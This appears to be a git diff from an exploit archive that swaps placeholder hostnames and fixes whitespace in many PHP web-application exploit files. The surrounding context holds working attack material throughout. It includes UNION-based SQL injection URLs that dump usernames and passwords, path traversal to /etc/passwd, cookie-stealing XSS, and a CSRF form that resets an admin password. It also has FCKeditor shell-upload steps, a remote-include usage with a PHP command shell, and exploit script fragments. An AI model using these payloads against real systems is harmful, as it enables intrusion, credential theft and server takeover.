_____________ / /_ / ___/ _ \/ ___/ ___/ _ \/ __/ (__ ) __/ /__/ / / __/ /_ /____/\___/\___/_/ \___/\__/ @@ -19,11 +19,11 @@ ________ _____________ / /_ http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql] #demo : -http://www.server/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0' +http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0' ---------------------------------------------------------------------------- greatez: lagripe-dz mca_crb amine halim all dz members. -www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/. \ No newline at end of file +www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/. \ No newline at end of file diff --git a/platforms/php/webapps/15050.txt b/platforms/php/webapps/15050.txt index 03c51b44e..34d20b9c3 100755 --- a/platforms/php/webapps/15050.txt +++ b/platforms/php/webapps/15050.txt @@ -11,7 +11,7 @@ Opencart remote file Upload Vulnerability ######################################Iranian HackerZ#################################### -# http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html +# http://target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html # Example site: http://server # Select the "File Upload" To use = php # http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html @@ -21,8 +21,8 @@ Opencart remote file Upload Vulnerability ######################################Demo Example#################################### -#Demo : http://www.server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html# -#Demo : http://www.server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html# +#Demo : http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html# +#Demo : http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html# ######################################################################################### diff --git a/platforms/php/webapps/15070.txt b/platforms/php/webapps/15070.txt index fba392ef7..34f7794e7 100755 --- a/platforms/php/webapps/15070.txt +++ b/platforms/php/webapps/15070.txt @@ -1,4 +1,4 @@ - + ################################################# + + Title: ibPhotohost 1.1.2 SQL Injection diff --git a/platforms/php/webapps/15080.txt b/platforms/php/webapps/15080.txt index 7bb3fe7bc..907b2cacf 100755 --- a/platforms/php/webapps/15080.txt +++ b/platforms/php/webapps/15080.txt @@ -15,20 +15,20 @@ <html> <body> <h3>Skybluecanvas.v1.1-r248 CSRF vulnirabilitie</h3> -<form method="POST" name="form0" action="http://server/path/admin.php?mgroup=settings&mgr=password&objtype=password"> +<form method="POST" name="form0" action="http://target.com/path/admin.php?mgroup=settings&mgr=password&objtype=password"> <input type="hidden" name="id" value="1"/> <input type="hidden" name="username" value="admin"/> <!-- User name --> <input type="hidden" name="password" value="password"/> <!-- your password --> <input type="hidden" name="confirm" value="password"/> <!-- confirm password --> <p> Press Continue to update admin information <input type="submit" name="submit" value="Continue"/> </p> </form> -<form method="GET" name="form1" action="http://server/path/admin.php?mgroup=settings&mgr=password&objtype=password"> +<form method="GET" name="form1" action="http://target.com/path/admin.php?mgroup=settings&mgr=password&objtype=password"> <input type="hidden" name="name" value="value"/> </form> -<form method="GET" name="form2" action="http://server/path/admin.php"> +<form method="GET" name="form2" action="http://target.com/path/admin.php"> <input type="hidden" name="name" value="value"/> </form> -<form method="GET" name="form3" action="http://server/path/admin.php?mgr=login&js=1"> +<form method="GET" name="form3" action="http://target.com/path/admin.php?mgr=login&js=1"> <input type="hidden" name="name" value="value"/> </form> </body> diff --git a/platforms/php/webapps/15082.txt b/platforms/php/webapps/15082.txt index 90a45429c..98c9c09cd 100755 --- a/platforms/php/webapps/15082.txt +++ b/platforms/php/webapps/15082.txt @@ -61,4 +61,4 @@ Contact: K-159 || echo|staff || adv[at]e-rdc[dot]org Homepage: http://www.e-rdc.org/ --------------------------------- [ EOF ] ---------------------------------- \ No newline at end of file +-------------------------------- [ EOF ] ---------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/15090.txt b/platforms/php/webapps/15090.txt index d667facb0..36ada0839 100755 --- a/platforms/php/webapps/15090.txt +++ b/platforms/php/webapps/15090.txt @@ -37,4 +37,4 @@ http://site/index.php?service=5&id=-4375+UNION+SELECT+1,2,3,concat(user,0x3a,pas Good Luck - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15114.php b/platforms/php/webapps/15114.php index b93732032..30f4115bb 100755 --- a/platforms/php/webapps/15114.php +++ b/platforms/php/webapps/15114.php @@ -21,7 +21,7 @@ Abysssec Inc Public Advisory */ -$path = "http://www.server/zenphoto" ."/" . "zp-core/setup.php"; +$path = "http://www.site.com/zenphoto" ."/" . "zp-core/setup.php"; $new_mysql_user = "abysssec"; $new_mysql_pass = "absssec"; $new_mysql_host = "abysssec.com"; diff --git a/platforms/php/webapps/15121.txt b/platforms/php/webapps/15121.txt index 310659179..6bcfa2bf4 100755 --- a/platforms/php/webapps/15121.txt +++ b/platforms/php/webapps/15121.txt @@ -58,4 +58,4 @@ Mail : !x! |No-Exploit.com Members ------------------------------------- - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15154.txt b/platforms/php/webapps/15154.txt index 781ce8cd5..588886f80 100755 --- a/platforms/php/webapps/15154.txt +++ b/platforms/php/webapps/15154.txt @@ -18,4 +18,4 @@ then get username & password n then go to the admin panel ,, # Greetings: Dr.2 , Inject0r's Community , AsbMay's Group , darkc0de team , and all ma friends ,, == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15162.rb b/platforms/php/webapps/15162.rb index 64624b916..f7e332f18 100755 --- a/platforms/php/webapps/15162.rb +++ b/platforms/php/webapps/15162.rb @@ -41,7 +41,7 @@ print " " require 'net/http' print "#########################################################" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print "#########################################################" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/15163.rb b/platforms/php/webapps/15163.rb index 0bf8a9bfb..fbadb93c5 100755 --- a/platforms/php/webapps/15163.rb +++ b/platforms/php/webapps/15163.rb @@ -41,7 +41,7 @@ print " " require 'net/http' print "#########################################################" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print "#########################################################" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/15173.txt b/platforms/php/webapps/15173.txt index abdbb334a..aace2d9ba 100755 --- a/platforms/php/webapps/15173.txt +++ b/platforms/php/webapps/15173.txt @@ -14,21 +14,22 @@ SQL Error => /detail_article.php?C=3&P=7' - www.server/detail_article.php?C=3&P=7 [Blind] + www.site.com/detail_article.php?C=3&P=7 [Blind] [Demo] : -www.server/detail_article.php?C=3&P=1 and 1=1 <-- true +www.site.com/detail_article.php?C=3&P=1 and 1=1 <-- true -www.server/detail_article.php?C=3&P=1 and 1=2 <-- false +www.site.com/detail_article.php?C=3&P=1 and 1=2 <-- false ===[ XSS ]=== - www.server/detail_article.php?C=3&P=7 [XSS] + www.site.com/detail_article.php?C=3&P=7 [XSS] [Demo] : - www.server/detail_article.php?C=3&P=7"><script>alert(document.cookie);</script> + www.site.com/detail_article.php?C=3&P=7"><script>alert(document.cookie);</script> #################################################################### + \ No newline at end of file diff --git a/platforms/php/webapps/15174.txt b/platforms/php/webapps/15174.txt index 513328efa..e61fd746d 100755 --- a/platforms/php/webapps/15174.txt +++ b/platforms/php/webapps/15174.txt @@ -19,4 +19,4 @@ http://www.example.com/tiki-5.2/tiki-jsplugin.php?plugin=x&language=../../../../ Cross Site Scripting: -http://www.example.com/tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/15175.txt b/platforms/php/webapps/15175.txt index 2c26a06f0..7e0dd7e08 100755 --- a/platforms/php/webapps/15175.txt +++ b/platforms/php/webapps/15175.txt @@ -48,10 +48,10 @@ PoC/Exploit : ~~~~~~~~~~ injection type is integer, MSSQL with error -http://www.siteserver/board/index.php?forumID=1[Injection query] +http://www.sitetarget.com/board/index.php?forumID=1[Injection query] example of exploitation : -http://www.server/board/index.php?forumID=25[Injection query] +http://www.site.com/board/index.php?forumID=25[Injection query] diff --git a/platforms/php/webapps/15177.pl b/platforms/php/webapps/15177.pl index 7cc7909b0..86099a80d 100755 --- a/platforms/php/webapps/15177.pl +++ b/platforms/php/webapps/15177.pl @@ -103,4 +103,4 @@ $target_id = $ARGV[1] || usage_exploit; header_exploit; $password = run_exploit ( \$target_id, \$vulnerable_page ); -print '[!]Password: ', $password, "\n"; \ No newline at end of file +print '[!]Password: ', $password, "\n"; \ No newline at end of file diff --git a/platforms/php/webapps/15194.txt b/platforms/php/webapps/15194.txt index 7cf0d4495..59881fc79 100755 --- a/platforms/php/webapps/15194.txt +++ b/platforms/php/webapps/15194.txt @@ -27,4 +27,4 @@ http://tinymce.moxiecode.com/plugins_filemanager.php [~] Proud 2 be Muslim [~] United States of Albania -#################################################################### \ No newline at end of file +#################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/1521.php b/platforms/php/webapps/1521.php index 58259c1ab..d7a62ec10 100755 --- a/platforms/php/webapps/1521.php +++ b/platforms/php/webapps/1521.php @@ -38,7 +38,7 @@ Institute</font></p> <p><input name="CMD" size="20"> <span class="Stile5"><font color="#FF0000">*</font> specify a command</span></p> <p><input name="LOCATION" size="20"><span class="Stile5"><font color="#FF0000">*</font> remote - location ( ex: http://www.someserver/sys.php)</span></p> + location ( ex: http://www.somesite.com/sys.php)</span></p> <p><input name="port" size="20"><span class="Stile5">specify a port&nbsp; (default is 80)</span></p> <p><input name="proxy" size="20"><span class="Stile5">send exploit diff --git a/platforms/php/webapps/15227.txt b/platforms/php/webapps/15227.txt index 573616806..c34261c7f 100755 --- a/platforms/php/webapps/15227.txt +++ b/platforms/php/webapps/15227.txt @@ -26,7 +26,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco, +Proof of Concept +Table : fusion_users +columns : user_password, user_name -+Proof of Concept : http://www.server/infusions/mg_user_fotoalbum_panel/mg_user_fot ++Proof of Concept : http://www.site.com/infusions/mg_user_fotoalbum_panel/mg_user_fot oalbum.php?album_user_id=251&album_id=%27+union+select+1,2,3,4,user_name,6,7,8,9,10,11 +from+fusion_users+where+user_id=1--+ ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/1523.cpp b/platforms/php/webapps/1523.cpp index 86c5baceb..14ac98954 100755 --- a/platforms/php/webapps/1523.cpp +++ b/platforms/php/webapps/1523.cpp @@ -127,8 +127,8 @@ void usage(char *argv[]) printf("Usage:\n" "%s [target] [dir]\n\n" "Example:\n" - "%s server /dir/\n" - "%s server /\n", argv[0], argv[0], argv[0]); + "%s www.target.com /dir/\n" + "%s www.target.com /\n", argv[0], argv[0], argv[0]); exit(EXIT_SUCCESS); } diff --git a/platforms/php/webapps/1525.pl b/platforms/php/webapps/1525.pl index a7a5f9ce8..03810ff0d 100755 --- a/platforms/php/webapps/1525.pl +++ b/platforms/php/webapps/1525.pl @@ -1,7 +1,7 @@ #!/usr/bin/perl # # advisory sent in by SnIpEr_SA (selfar2002[at]hotmail.com) -# http://server/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 +# http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 # ported by str0ke (milw0rm.com) from x97Rangs code (RST/GHC) http://rst.void.ru use LWP::Simple; diff --git a/platforms/php/webapps/15251.txt b/platforms/php/webapps/15251.txt index 2bf307f46..2bfd0241a 100755 --- a/platforms/php/webapps/15251.txt +++ b/platforms/php/webapps/15251.txt @@ -34,4 +34,4 @@ clans website... no problem.---------------------------------------------------- # 4hm4d H0w4ri # Palestine In our Hearts ############################################################## - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15277.txt b/platforms/php/webapps/15277.txt index 20d371fbb..3eeee9461 100755 --- a/platforms/php/webapps/15277.txt +++ b/platforms/php/webapps/15277.txt @@ -25,10 +25,10 @@ exploit # geeklog/fckeditor/editor/filemanager/upload/test.html -first go to # http://server/Geeklog/ +first go to # http://site.com/Geeklog/ - then # http://server/Geeklog/fckeditor/editor/filemanager/upload/test.html + then # http://site.com/Geeklog/fckeditor/editor/filemanager/upload/test.html select # "php" diff --git a/platforms/php/webapps/15338.txt b/platforms/php/webapps/15338.txt index 02b0cf6ca..a5b5e901a 100755 --- a/platforms/php/webapps/15338.txt +++ b/platforms/php/webapps/15338.txt @@ -30,4 +30,4 @@ Contact : eragon@legends.ag [ Special Thanks : KuBaNeZi , DJ-DUKLI , The|Denny` , Loock3D , BaDBoY ] [ Visit / Greetz : ALBANIAN-LEGENDS.COM Members - www.eragon.ws - www.uah1.org.uk ] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15348.txt b/platforms/php/webapps/15348.txt index 6ac38d931..ceadb802e 100755 --- a/platforms/php/webapps/15348.txt +++ b/platforms/php/webapps/15348.txt @@ -1,4 +1,4 @@ -_______ _____ ___ + _______ _____ ___ | | | | |.' _| | |__ | _| |___|___| |__||__| diff --git a/platforms/php/webapps/15350.rb b/platforms/php/webapps/15350.rb index 81f05653d..8b47efd5b 100755 --- a/platforms/php/webapps/15350.rb +++ b/platforms/php/webapps/15350.rb @@ -39,7 +39,7 @@ print " require 'net/http' block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/15351.rb b/platforms/php/webapps/15351.rb index c4da2a8f1..3338e0986 100755 --- a/platforms/php/webapps/15351.rb +++ b/platforms/php/webapps/15351.rb @@ -39,7 +39,7 @@ print " require 'net/http' block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/path/)->" diff --git a/platforms/php/webapps/15354.txt b/platforms/php/webapps/15354.txt index c5ac6b139..d55110c86 100755 --- a/platforms/php/webapps/15354.txt +++ b/platforms/php/webapps/15354.txt @@ -17,10 +17,10 @@ Zoopeer 0.1 & 0.2 (fckeditor) Zoopeer Shell Upload Vulnerability exploit # fck/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php -first go to # http://server/fck +first go to # http://site.com/fck - then # http://server/fck/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php + then # http://site.com/fck/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php select # Php renamed via the php4 (shell.php4) diff --git a/platforms/php/webapps/15389.php b/platforms/php/webapps/15389.php index 5cd1d9221..eb93a0379 100755 --- a/platforms/php/webapps/15389.php +++ b/platforms/php/webapps/15389.php @@ -76,3 +76,4 @@ while(1) ?> + \ No newline at end of file diff --git a/platforms/php/webapps/15391.txt b/platforms/php/webapps/15391.txt index b1dd4c5f2..49cee6153 100755 --- a/platforms/php/webapps/15391.txt +++ b/platforms/php/webapps/15391.txt @@ -25,4 +25,4 @@ [+] vuln: [SearCh And Find It :P] -######################################################################## \ No newline at end of file +######################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/15400.txt b/platforms/php/webapps/15400.txt index 12d82dd08..d52913554 100755 --- a/platforms/php/webapps/15400.txt +++ b/platforms/php/webapps/15400.txt @@ -46,4 +46,4 @@ http://localhost/Dolphin/gzip_loader.php?file=(file name) # I'm anT!-Tr0J4n member from Inj3ct0r Team #[+] Site : Inj3ct0r.com -#[+] Support e-mail : submit[at]inj3ct0r.com \ No newline at end of file +#[+] Support e-mail : submit[at]inj3ct0r.com \ No newline at end of file diff --git a/platforms/php/webapps/15404.txt b/platforms/php/webapps/15404.txt index cf01275a5..9f05c25e9 100755 --- a/platforms/php/webapps/15404.txt +++ b/platforms/php/webapps/15404.txt @@ -23,7 +23,7 @@ | |[+] Exploit : | -|http://www.yourserver/force-download.php?file=../../../../etc/passwd +|http://www.yoursite.com/force-download.php?file=../../../../etc/passwd | | | +----------------------------------------------------------------------------------------------+ \ No newline at end of file diff --git a/platforms/php/webapps/15405.txt b/platforms/php/webapps/15405.txt index 77fb58a97..735df1ac9 100755 --- a/platforms/php/webapps/15405.txt +++ b/platforms/php/webapps/15405.txt @@ -1,4 +1,4 @@ - + ----------------------------------- TM | ___ ___ _______ | diff --git a/platforms/php/webapps/1542.pl b/platforms/php/webapps/1542.pl index 3015c9b69..98b36d0c9 100755 --- a/platforms/php/webapps/1542.pl +++ b/platforms/php/webapps/1542.pl @@ -46,7 +46,7 @@ if ($ARGV[0] && $ARGV[1]) } else { print "Usage: perl rpc.pl host path_to_phpRPC\n\n"; - print "Example: perl rpc.pl server /server.php\n"; + print "Example: perl rpc.pl target.com /server.php\n"; exit; } diff --git a/platforms/php/webapps/1543.pl b/platforms/php/webapps/1543.pl index 316f4024f..e8b1f0b87 100755 --- a/platforms/php/webapps/1543.pl +++ b/platforms/php/webapps/1543.pl @@ -31,7 +31,7 @@ if (!$ARGV[2]) Usage: perl vubb.pl FULL_URL_TO_VBB VICTIM_USER_ID USER_NICKNAME - perl vubb.pl http://www.someserver/vubb 1 administrator + perl vubb.pl http://www.somesite.com/vubb 1 administrator }; exit(); diff --git a/platforms/php/webapps/15452.txt b/platforms/php/webapps/15452.txt index b1e468472..cfc1cebf8 100755 --- a/platforms/php/webapps/15452.txt +++ b/platforms/php/webapps/15452.txt @@ -16,10 +16,10 @@ An attacker can exploit this to find out the rootpath a website. Example: -http://www.server/[path]/search.php?action=search&keywords[]=&author[]=&search_in=all&sort_by=0&SORT_DAshow_as=DESC&topics=&search=Submit+search -http://www.server/[path]/userlist.php?username[]=&show_group=-1&sort_by=username&sort_dir=ASC&search=Avvia+ricerca -http://www.server/[path]/moderate.php?get_host[]= +http://www.site.com/[path]/search.php?action=search&keywords[]=&author[]=&search_in=all&sort_by=0&SORT_DAshow_as=DESC&topics=&search=Submit+search +http://www.site.com/[path]/userlist.php?username[]=&show_group=-1&sort_by=username&sort_dir=ASC&search=Avvia+ricerca +http://www.site.com/[path]/moderate.php?get_host[]= #SYSTEM_OVERIDE [07-11-2010] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15453.txt b/platforms/php/webapps/15453.txt index 25e8b9770..a8445685f 100755 --- a/platforms/php/webapps/15453.txt +++ b/platforms/php/webapps/15453.txt @@ -11,11 +11,11 @@ http://extensions.joomla.org/extensions/contacts-and-feedback/forms/4939 ===[ Exploit ]=== [LFI] http://site/index.php?option=com_ckforms&controller=[LFI] -http://server/index.php?option=com_ckforms&controller=../../../. +http://site.com/index.php?option=com_ckforms&controller=../../../. ./../../../../../../etc/passwd%00 #################################################################### RxH & ab0-3th4b - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15454.txt b/platforms/php/webapps/15454.txt index 6ac7c5bf7..b769be2ec 100755 --- a/platforms/php/webapps/15454.txt +++ b/platforms/php/webapps/15454.txt @@ -10,7 +10,7 @@ http://joomlacode.org/gf/project/com_clan/ #################################################################### ===[ Bug ]=== -www.server/index.php?action=com_clan&cid=185[Sql Injection] +www.site.com/index.php?action=com_clan&cid=185[Sql Injection] ===[ Exploit ]=== @@ -19,4 +19,4 @@ www.server/index.php?action=com_clan&cid=185[Sql Injection] #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15455.txt b/platforms/php/webapps/15455.txt index 3f3afc5a9..0d2ffbc0b 100755 --- a/platforms/php/webapps/15455.txt +++ b/platforms/php/webapps/15455.txt @@ -16,16 +16,16 @@ xt:Commerce Shopsoftware (fckeditor) File Upload Vulnerability exploit # admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html -first go to # http://server/[shop] +first go to # http://site.com/[shop] - then # http://server/[shop]/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html + then # http://site.com/[shop]/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html select # Select the "File Uploader"> php ... upload to : Uploaded File URL: -Demo : http://www.server/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html +Demo : http://www.site.com/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html -Demo : http://www.server/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html +Demo : http://www.site.com/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html ####################################################### diff --git a/platforms/php/webapps/15456.txt b/platforms/php/webapps/15456.txt index d6f7a83ea..28461b87b 100755 --- a/platforms/php/webapps/15456.txt +++ b/platforms/php/webapps/15456.txt @@ -19,4 +19,4 @@ http://localhost/[path]/index.php?option=com_clanlist&clanId=-999 union select v Thanks cyber-warrior.org & AKINCILAR -######################################################################################## \ No newline at end of file +######################################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/1546.pl b/platforms/php/webapps/1546.pl index 5aefb72e7..38df4500b 100755 --- a/platforms/php/webapps/1546.pl +++ b/platforms/php/webapps/1546.pl @@ -8,8 +8,8 @@ # All rights reserved. # # never ctrl+c again. -# cijfer$ http://server/dir -# host changed to 'http://server/dir' +# cijfer$ http://target.com/dir +# host changed to 'http://target.com/dir' # cijfer$ # # $Id: cijfer-prpcxpl.pl,v 0.1 2006/03/01 05:46:00 cijfer Exp $ @@ -43,7 +43,7 @@ sub usage { print "phpRPC <=0.7 Remote Command Execution Exploit\n"; print "usage: $0 -hpv\n\n"; - print " -h, --host\t\tfull address of target (ex. http://www.webserver/dir)\n"; + print " -h, --host\t\tfull address of target (ex. http://www.website.com/dir)\n"; print " -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n"; print " -v, --verbose\t\tverbose mode (debug)\n\n"; exit; diff --git a/platforms/php/webapps/15460.txt b/platforms/php/webapps/15460.txt index fa4c27f65..4b621a6aa 100755 --- a/platforms/php/webapps/15460.txt +++ b/platforms/php/webapps/15460.txt @@ -14,7 +14,7 @@ [~] ----------------------------------------------------------------------------------------------------- [~] Poc :- [~] -[~] http://server/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd +[~] http://site.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd [~] [~] Note :- [~] diff --git a/platforms/php/webapps/15465.rb b/platforms/php/webapps/15465.rb index c5947b197..1fca1a5d4 100755 --- a/platforms/php/webapps/15465.rb +++ b/platforms/php/webapps/15465.rb @@ -40,7 +40,7 @@ print " require 'net/http' block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/wbb/)->" diff --git a/platforms/php/webapps/15470.txt b/platforms/php/webapps/15470.txt index bb7b17ff3..6797e2237 100755 --- a/platforms/php/webapps/15470.txt +++ b/platforms/php/webapps/15470.txt @@ -8,4 +8,4 @@ Sql Injection : http://localhost/[path]/index.php?option=com_img&controller=../../../../../../../../../../../../../../../etc/passwd%00 ################################################################################################################ Thanks Cyber-Warrior.org & AKINCILAR -################################################################################################################  \ No newline at end of file +################################################################################################################  \ No newline at end of file diff --git a/platforms/php/webapps/15472.txt b/platforms/php/webapps/15472.txt index b607412b4..7144d5e03 100755 --- a/platforms/php/webapps/15472.txt +++ b/platforms/php/webapps/15472.txt @@ -32,4 +32,4 @@ $pos = strpos($self, 'login.php');if($pos == true){echo "<script language='javas Greets, -daandeveloper33 \ No newline at end of file +daandeveloper33 \ No newline at end of file diff --git a/platforms/php/webapps/15492.php b/platforms/php/webapps/15492.php index e39e79a93..cec6a506b 100755 --- a/platforms/php/webapps/15492.php +++ b/platforms/php/webapps/15492.php @@ -75,7 +75,7 @@ E-Xooport SQL Injection 01 (katid) usage: php exploit.php host path [user_id]* - php exploit.php www.server /exooport/ 1 {without /modules/ dir} + php exploit.php www.site.com /exooport/ 1 {without /modules/ dir} php exploit.php www.e-xoopport.it / * If not specified, the exploit will extract all users from the database. diff --git a/platforms/php/webapps/15510.txt b/platforms/php/webapps/15510.txt index 906e5dcf4..8918da984 100755 --- a/platforms/php/webapps/15510.txt +++ b/platforms/php/webapps/15510.txt @@ -15,3 +15,4 @@ http://sourceforge.net/projects/awcm/files/ Greetings:  No Greet  !_! + \ No newline at end of file diff --git a/platforms/php/webapps/15512.py b/platforms/php/webapps/15512.py index 99cc755e3..1e3bcc671 100755 --- a/platforms/php/webapps/15512.py +++ b/platforms/php/webapps/15512.py @@ -39,7 +39,7 @@ try: * +----------------------------------------------------------+ * * | Usage: Exploit.py <site> <id> | * * +----------------------------------------------------------+ * - * | python exploit.py <http://server/index.php?ID=> <10> | * + * | python exploit.py <http://site.com/index.php?ID=> <10> | * * +----------------------------------------------------------+ * ***************************************************************** diff --git a/platforms/php/webapps/15515.txt b/platforms/php/webapps/15515.txt index b3d2599ae..5f08bfc00 100755 --- a/platforms/php/webapps/15515.txt +++ b/platforms/php/webapps/15515.txt @@ -9,4 +9,4 @@ The vulnerability is in the file search.php, the variable search_app is vulnerable.An attacker can exploit this to find out the rootpath of website or for Blind SQLi attack. -Google Dork: inurl:index.php?app=core --Example:http://server/index.php?app=core&module=search§ion=search&do=quick_search&search_app[]= \ No newline at end of file +-Example:http://server/index.php?app=core&module=search§ion=search&do=quick_search&search_app[]= \ No newline at end of file diff --git a/platforms/php/webapps/15516.txt b/platforms/php/webapps/15516.txt index 250c58e45..027055434 100755 --- a/platforms/php/webapps/15516.txt +++ b/platforms/php/webapps/15516.txt @@ -37,4 +37,4 @@ SGreatz : X-Father , Mo7a , My Keybord :D ./D0n3 -[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#] \ No newline at end of file +[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#] \ No newline at end of file diff --git a/platforms/php/webapps/15517.txt b/platforms/php/webapps/15517.txt index 233a8b5b9..eafb9ff71 100755 --- a/platforms/php/webapps/15517.txt +++ b/platforms/php/webapps/15517.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/1553.pl b/platforms/php/webapps/1553.pl index 8284c7908..400bea024 100755 --- a/platforms/php/webapps/1553.pl +++ b/platforms/php/webapps/1553.pl @@ -9,7 +9,7 @@ # usage: # perl FNews.pl <location of Fantastic News> <cmd shell location <cmd shell variable> # -# perl FNews.pl http://server/FNews/ http://server/cmd.txt cmd +# perl FNews.pl http://site.com/FNews/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -71,8 +71,8 @@ sub usage() { head(); print " Usage: FNews.pl <Site> <cmd shell> <cmd variable>\r\n\n"; - print " <Site> - Full path to M - Phorum e.g. http://www.server/FNews/ \r\n"; - print " <cmd shell> - Path to Cmd Shell e.g http://www.server/cmd.txt \r\n"; + print " <Site> - Full path to M - Phorum e.g. http://www.site.com/FNews/ \r\n"; + print " <cmd shell> - Path to Cmd Shell e.g http://www.site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " -=Coded by Zod, Bug Found by uid0=-\r\n"; diff --git a/platforms/php/webapps/15549.txt b/platforms/php/webapps/15549.txt index e50edef5a..62091ccfa 100755 --- a/platforms/php/webapps/15549.txt +++ b/platforms/php/webapps/15549.txt @@ -23,7 +23,7 @@ http://127.0.0.1/[kaMtiEz]/index.php?option=com_alfurqan15x&action=viewayat&sura [ DEMO ] -http://www.server/index.php?option=com_alfurqan15x&action=viewayat&surano=-999.9+UNION+ALL+SELECT+1,concat_ws(0x3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_users-- +http://www.site.com/index.php?option=com_alfurqan15x&action=viewayat&surano=-999.9+UNION+ALL+SELECT+1,concat_ws(0x3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_users-- [ FIX ] diff --git a/platforms/php/webapps/15555.txt b/platforms/php/webapps/15555.txt index cc81506d2..d74fe2c47 100755 --- a/platforms/php/webapps/15555.txt +++ b/platforms/php/webapps/15555.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/15571.txt b/platforms/php/webapps/15571.txt index acf79446f..2af3bb878 100755 --- a/platforms/php/webapps/15571.txt +++ b/platforms/php/webapps/15571.txt @@ -1,4 +1,4 @@ - + Exploit Title:FozzCom shopping<= 7.94+8.04 Multiple Remote Vulnerabilities Date: 12.10.2010 Author: Dr.0rYX and Cr3w-DZ diff --git a/platforms/php/webapps/15574.txt b/platforms/php/webapps/15574.txt index b4f5280e9..bfe7c597b 100755 --- a/platforms/php/webapps/15574.txt +++ b/platforms/php/webapps/15574.txt @@ -46,4 +46,4 @@ http://127.0.0.1/clip/index.php?v= {EV!L EXPLO!T} [~]{[(D!R 4ll 0R D!E)]}; # # [~]--------------------------------------------------------------------------------------------- - \ No newline at end of file + \ No newline at end of file diff --git 